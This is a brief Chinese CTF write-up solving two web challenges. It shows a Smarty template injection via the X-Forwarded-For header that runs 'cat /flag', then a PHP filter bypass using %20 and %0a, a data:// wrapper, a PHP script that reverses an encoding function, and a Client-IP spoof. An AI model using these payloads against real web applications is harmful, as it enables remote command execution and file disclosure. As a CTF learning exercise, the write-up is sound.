[CISCN2019 华东南赛区]Web11
知识点:Smarty模板引擎注入
1.刚开始看到这题目没有啥思路,都是看不懂的英文,就只有一个 X-Forwarded-For留意了下,然后在最下面看到了 Build With Smarty !
2.之前就做过一道Smarty的,注入点就在 X-Forwarded-For 然后就抓包,添加一个 X-Forwarded-For
可见确实存在注入,直接{system("cat /flag")}得到flag
[MRCTF2020]套娃
1.首先查看源码
2.不能有下划线,且b_u_p_t不能等于23333但是又要和23333相匹配
3.下划线可以用%20(空格)代替,23333后面可以加个%0a 也就是换行来越过
得到
4.进去看看
5.查看源码,有一串编码,
解码得到
6.那就post随便传个Merak=1进去,得到一串PHP代码
需要改IP,那考虑抓个包来修改
7.file_get_content函数将整个数据读入一个字符串中,因为后面是单引号,又用===判断全等,用data://text/plain;进行转换
change函数将传入的参数先进行base64解码,然后将字符转化成ASCII并且+$i*2 不能直接传入flag.php 那我们反推change函数
<?php
function unchange($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return $re;
}
$real_flag = unchange('flag.php');
echo base64_encode($real_flag);
?>
所以pyload:?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=
最后那个IP不知道咋改,看了别人的wp知道只能用client-ip改
得到flag